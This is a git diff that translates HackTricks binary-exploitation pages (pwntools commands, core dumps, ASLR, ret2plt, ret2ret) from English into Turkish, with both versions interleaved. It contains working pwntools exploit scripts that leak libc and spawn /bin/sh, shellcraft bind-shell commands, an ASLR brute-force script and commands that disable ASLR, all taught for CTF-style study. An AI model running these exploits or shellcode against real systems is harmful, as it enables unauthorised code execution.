**Seçilebilir:**
**Can select:**
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- Çalıştırılabilir dosya, isim veya pid bağlamına göre (16,32,64,linux,windows...)
- Çalıştırılacak gdbscript
- sysrootpath
## Pwn disablenx
Disable nx of a binary
Bir ikili dosyanın nx'ini devre dışı bırakın
```
pwn disablenx <filepath>
```
## Pwn disasm
Disas hex opcodes
Hex opkodlarını disassemble et
```
pwn disasm ffe4
```
**Seçilebilir:**
**Can select:**
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
- bağlam (16,32,64,linux,windows...)
- temel adres
- renk (varsayılan)/renksiz
## Pwn elfdiff
Print differences between 2 files
2 dosya arasındaki farkları yazdırır
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
Get hexadecimal representation
Onaltılık temsil al
```bash
pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
Get hexdump
Hexdump al
```
pwn phd <file>
```
**Seçilebilir:**
**Can select:**
- Number of bytes to show
- Number of bytes per line highlight byte
- Skip bytes at beginning
- Gösterilecek byte sayısı
- Satır başına vurgulanan byte sayısı
- Başlangıçta atlanacak byte'lar
## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft
Get shellcodes
Shellcode'ları al
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Seçilebilir:**
**Can select:**
- shellcode ve shellcode için argümanlar
- Çıktı dosyası
- çıktı formatı
- hata ayıklama (shellcode'a dbg ekle)
- önce (koddan önce hata ayıklama tuzağı)
- sonra
- opcode kullanmaktan kaçın (varsayılan: null ve yeni satır değil)
- shellcode'u çalıştır
- Renk/renksiz
- sistem çağrılarını listele
- olası shellcode'ları listele
- ELF'yi paylaşılan bir kütüphane olarak oluştur
- shellcode and arguments for the shellcode
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
## Pwn template
Get a python template
## Pwn şablonu
Bir python şablonu al
```
pwn template
```
**Can select:** host, port, user, pass, path and quiet
**Seçilebilir:** host, port, kullanıcı, şifre, yol ve sessiz
## Pwn unhex
From hex to string
Hex'ten string'e
```
pwn unhex 686f6c61
```
## Pwn güncellemesi
## Pwn update
To update pwntools
pwntools'u güncellemek için
```
pwn update
```
{{#include ../../../banners/hacktricks-training.md}}

26
src/binary-exploitation/common-binary-protections-and-bypasses/README.md
View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses
# Yaygın İkili Sömürü Koruma ve Aşma Yöntemleri
{{#include ../../banners/hacktricks-training.md}}
## Enable Core files
## Core Dosyalarını Etkinleştir
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
**Core dosyaları**, bir işlemin çökmesi durumunda bir işletim sistemi tarafından oluşturulan bir dosya türüdür. Bu dosyalar, çökme anında çökme yaşayan işlemin bellek görüntüsünü, işlemin belleği, kayıtları ve program sayacı durumu gibi diğer ayrıntıları içerir. Bu anlık görüntü, hata ayıklama ve çökme nedenini anlama açısından son derece değerli olabilir.
### **Enabling Core Dump Generation**
### **Core Dump Oluşturmayı Etkinleştirme**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
Varsayılan olarak, birçok sistem core dosyalarının boyutunu 0 ile sınırlar (yani, core dosyası oluşturmaz) disk alanı tasarrufu sağlamak için. Core dosyalarının oluşturulmasını etkinleştirmek için **`ulimit`** komutunu (bash veya benzeri kabuklarda) kullanabilir veya sistem genelinde ayarları yapılandırabilirsiniz.
- **Ulimit Kullanarak**: `ulimit -c unlimited` komutu, mevcut kabuk oturumunun sınırsız boyutta core dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için yararlıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir.
```bash
ulimit -c unlimited
```
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
- **Kalıcı Konfigürasyon**: Daha kalıcı bir çözüm için, `/etc/security/limits.conf` dosyasını düzenleyerek `* soft core unlimited` gibi bir satır ekleyebilirsiniz. Bu, tüm kullanıcıların oturumlarında ulimit'i manuel olarak ayarlamak zorunda kalmadan sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir.
```markdown
- soft core unlimited
```
### **GDB ile Çekirdek Dosyalarını Analiz Etme**
### **Analyzing Core Files with GDB**
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
Bir çekirdek dosyasını analiz etmek için GDB (GNU Hata Ayıklayıcı) gibi hata ayıklama araçlarını kullanabilirsiniz. Bir çekirdek dökümü üreten bir çalıştırılabilir dosyanız olduğunu ve çekirdek dosyasının `core_file` olarak adlandırıldığını varsayarsak, analize şu şekilde başlayabilirsiniz:
```bash
gdb /path/to/executable /path/to/core_file
```
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler, böylece çökme anındaki programın durumunu incelemenizi sağlar. Yığınları keşfetmek, değişkenleri incelemek ve çökme nedenini anlamak için GDB komutlarını kullanabilirsiniz.
{{#include ../../banners/hacktricks-training.md}}

226
src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
View File

@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve **sistem ve uygulama süreçleri** tarafından kullanılan bellek adreslerini rastgele hale getirir. Bu sayede, bir saldırganın belirli süreçlerin ve verilerin, örneğin yığın, yığın bellek ve kütüphaneler gibi, konumunu tahmin etmesi önemli ölçüde zorlaşır ve bu da belirli türdeki istismarları, özellikle tampon taşmaları, azaltır.
### **Checking ASLR Status**
### **ASLR Durumunu Kontrol Etme**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
Bir Linux sisteminde ASLR durumunu **kontrol etmek** için, **`/proc/sys/kernel/randomize_va_space`** dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler:
- **0**: No randomization. Everything is static.
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
You can check the ASLR status with the following command:
- **0**: Rastgeleleştirme yok. Her şey statik.
- **1**: İhtiyatlı rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilmiştir.
- **2**: Tam rastgeleleştirme. İhtiyatlı rastgeleleştirme ile rastgeleleştirilen unsurlara ek olarak, `brk()` ile yönetilen bellek rastgeleleştirilmiştir.
ASLR durumunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **ASLR'yi Devre Dışı Bırakma**
### **Disabling ASLR**
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'yi devre dışı bırakmak, genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte bunu nasıl yapabileceğiniz:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
You can also disable ASLR for an execution with:
ASLR'yi bir yürütme için de devre dışı bırakabilirsiniz:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **ASLR'yi Etkinleştirme**
### **Enabling ASLR**
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
ASLR'yi **etkinleştirmek** için, `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Bu genellikle root ayrıcalıkları gerektirir. Tam rastgeleleştirme, aşağıdaki komutla yapılabilir:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Yeniden Başlatmalarda Süreklilik**
### **Persistence Across Reboots**
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
`echo` komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekir:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
After editing `/etc/sysctl.conf`, apply the changes with:
`/etc/sysctl.conf` dosyasını düzenledikten sonra, değişiklikleri uygulamak için:
```bash
sudo sysctl -p
```
Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.
This will ensure that your ASLR settings remain across reboots.
## **Bypasses**
## **Atlatmalar**
### 32bit brute-forcing
PaX divides the process address space into **3 groups**:
PaX, işlem adres alanını **3 gruba** ayırır:
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
- **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken, her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
- `mmap()` ile tahsis edilen **bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` olarak adlandırılır.
- **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. bayttan 20. bayta kadar dahil), **16 bayt** hizalıdır —> Bu, **524,288 olası gerçek yığın adresi** ile sonuçlanır.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
Önceki veriler 32-bit sistemler içindir ve azaltılmış nihai entropi, ASLR'yi atlatmayı mümkün kılarak, istismarın başarılı bir şekilde tamamlanana kadar yürütmeyi tekrar tekrar denemeyi sağlar.
#### Brute-force ideas:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
#### Brute-force fikirleri:
- Eğer shellcode'dan önce **büyük bir NOP sled** barındıracak kadar büyük bir taşma varsa, yığında adresleri brute-force yaparak akışın **NOP sled'in bir kısmının üzerinden atlamasını** sağlayabilirsiniz.
- Taşma o kadar büyük değilse ve istismar yerel olarak çalıştırılabiliyorsa, **NOP sled ve shellcode'u bir ortam değişkenine eklemek** mümkündür.
- Eğer istismar yerel ise, libc'nin temel adresini brute-force yapmayı deneyebilirsiniz (32bit sistemler için yararlıdır):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Uzak bir sunucuya saldırıyorsanız, `usleep` fonksiyonunun `libc` adresini **brute-force** etmeyi deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10 saniye ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur.
> [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible.
> 64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.
### 64 bits stack brute-forcing
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
### 64 bit yığın brute-forcing
Yığın üzerinde çevresel değişkenlerle büyük bir alan kaplamak ve ardından bunu istismar etmek için yerel olarak yüzlerce/binlerce kez kötüye kullanmayı denemek mümkündür.\
Aşağıdaki kod, yığında **sadece bir adres seçmenin** nasıl mümkün olduğunu ve her **yüzlerce çalıştırmadan** o adresin **NOP talimatını** içereceğini göstermektedir:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
cont += 1
if cont % 10000 == 0:
break
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
### Yerel Bilgiler (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
Bir sürecin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve **ilginç** bilgiler içerir, örneğin:
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
- **startstack**: The address of the start of the **stack**
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
- **startcode** & **endcode**: İkili dosyanın **TEXT**'inin üstünde ve altında bulunan adresler
- **startstack**: **stack**'in başlangıç adresi
- **start_data** & **end_data**: **BSS**'nin üstünde ve altında bulunan adresler
- **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri
- **arg_start** & **arg_end**: **cli argümanlarının** üstünde ve altında bulunan adresler
- **env_start** & **env_end**: **env değişkenlerinin** üstünde ve altında bulunan adresler
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
Bu nedenle, eğer saldırgan, istismar edilen ikili dosyanın bulunduğu bilgisayarda ise ve bu ikili dosya ham argümanlardan taşmayı beklemiyorsa, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girdi** üzerinden bekliyorsa, bir saldırganın **bu dosyadan bazı adresleri alması ve bunlardan istismar için ofsetler oluşturması mümkündür**.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
> Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın.
### Having a leak
### Bir sızıntıya sahip olmak
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
- **Zorluk bir sızıntı vermektir**
Eğer size bir sızıntı verilirse (kolay CTF zorlukları), ondan ofsetleri hesaplayabilirsiniz (örneğin, istismar ettiğiniz sistemde kullanılan tam libc sürümünü bildiğinizi varsayarsak). Bu örnek istismar, [**buradan örnek**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) alınmıştır (daha fazla ayrıntı için o sayfaya bakın):
```python
from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
Bir buffer overflow kullanarak, bir **ret2plt**'yi istismar etmek, libc'den bir fonksiyonun adresini dışarı sarmak mümkün olacaktır. Kontrol et:
{{#ref}}
ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
ret2plt'de olduğu gibi, eğer bir format string zafiyeti aracılığıyla rastgele bir okuma varsa, GOT'dan bir **libc fonksiyonu** adresini dışarı sarmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
You can find more info about Format Strings arbitrary read in:
Daha fazla bilgi için Format Strings arbitrary read hakkında şunları bulabilirsiniz:
{{#ref}}
../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
ASLR'yi atlatmayı deneyin, yığın içindeki adresleri kullanarak:
{{#ref}}
ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
**`vsyscall`** mekanizması, belirli sistem çağrılarının kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar, ancak bunlar temelde çekirdek parçasıdır. **vsyscall'ların** kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adresler** olmalarıdır. Bu sabit yapı, saldırganların adreslerini belirlemek ve bunları bir istismar içinde kullanmak için bir bilgi sızıntısı açığına ihtiyaç duymadıkları anlamına gelir.\
Ancak burada çok ilginç aletler bulunmayacaktır (örneğin, bir `ret;` eşdeğeri almak mümkündür)
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
(Aşağıdaki örnek ve kod [**bu yazıdan**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) alınmıştır)
Örneğin, bir saldırgan bir istismar içinde `0xffffffffff600800` adresini kullanabilir. Doğrudan bir `ret` talimatına atlamaya çalışmak, birkaç aletin yürütülmesinden sonra kararsızlığa veya çökmesine yol açabilirken, **vsyscall** bölümünde sağlanan bir `syscall`'ın başlangıcına atlamak başarılı olabilir. Yürütmeyi bu **vsyscall** adresine yönlendiren dikkatlice yerleştirilmiş bir **ROP** aleti ile, bir saldırgan bu istismar parçası için **ASLR**'yi atlatmadan kod yürütme elde edebilir.
```
ef➤ vmmap
Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
Bu nedenle, **vdso'yu kullanarak ASLR'yi atlatmanın** mümkün olabileceğini unutmayın, eğer çekirdek CONFIG_COMPAT_VDSO ile derlenmişse çünkü vdso adresi rastgeleleştirilmeyecek. Daha fazla bilgi için kontrol edin:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

58
src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
View File

@ -2,40 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
Bu tekniğin amacı, **ASLR'yi atlatabilmek için PLT'den bir fonksiyonun adresini sızdırmak** olacaktır. Bunun nedeni, örneğin, libc'den `puts` fonksiyonunun adresini sızdırırsanız, **`libc`'nin temel adresini hesaplayabilir** ve **`system`** gibi diğer fonksiyonlara erişmek için ofsetleri hesaplayabilirsiniz.
Bu, ([**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)) gibi bir `pwntools` yükü ile yapılabilir:
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Not edin ki **`puts`** (PLT'den alınan adres kullanılarak) GOT'daki `puts` adresi ile çağrılır. Bunun nedeni, `puts` GOT girişi yazdırdığında, bu **girişin bellek içindeki `puts` adresini tam olarak içerecek olmasıdır**.
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
Ayrıca, `main` adresinin istismarda nasıl kullanıldığını not edin, böylece `puts` çalışmasını bitirdiğinde, **binary `main`'i tekrar çağırır, çıkmak yerine** (bu nedenle sızdırılan adres geçerli olmaya devam eder).
> [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
> Bunun çalışması için **binary PIE ile derlenmemiş olmalıdır** veya PLT, GOT ve main adresini bilmek için **PIE'yi atlatmak için bir sızıntı bulmuş olmalısınız**. Aksi takdirde, önce PIE'yi atlatmanız gerekir.
Bu [**atlatmanın tam örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o **örneğin** son istismarıydı:
```python
from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Other examples & References
## Diğer örnekler ve Referanslar
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağrısı yaparak sızıntıyı elde etmektir. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'tan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırmak için.
{{#include ../../../banners/hacktricks-training.md}}

20
src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
View File

@ -4,27 +4,27 @@
## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
Bu tekniğin ana **amacı**, **yığın içindeki mevcut bir işaretçiyi kötüye kullanarak ASLR'yi atlatmaya çalışmaktır**.
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
Temelde, yığın taşmaları genellikle dizeler tarafından tetiklenir ve **dizeler bellekte bir null byte ile biter**. Bu, yığında zaten mevcut olan bir işaretçinin gösterdiği yeri azaltmaya çalışmayı sağlar. Yani eğer yığın `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'a dönüştürebilir (son sıfırlanmış byte'a dikkat edin).
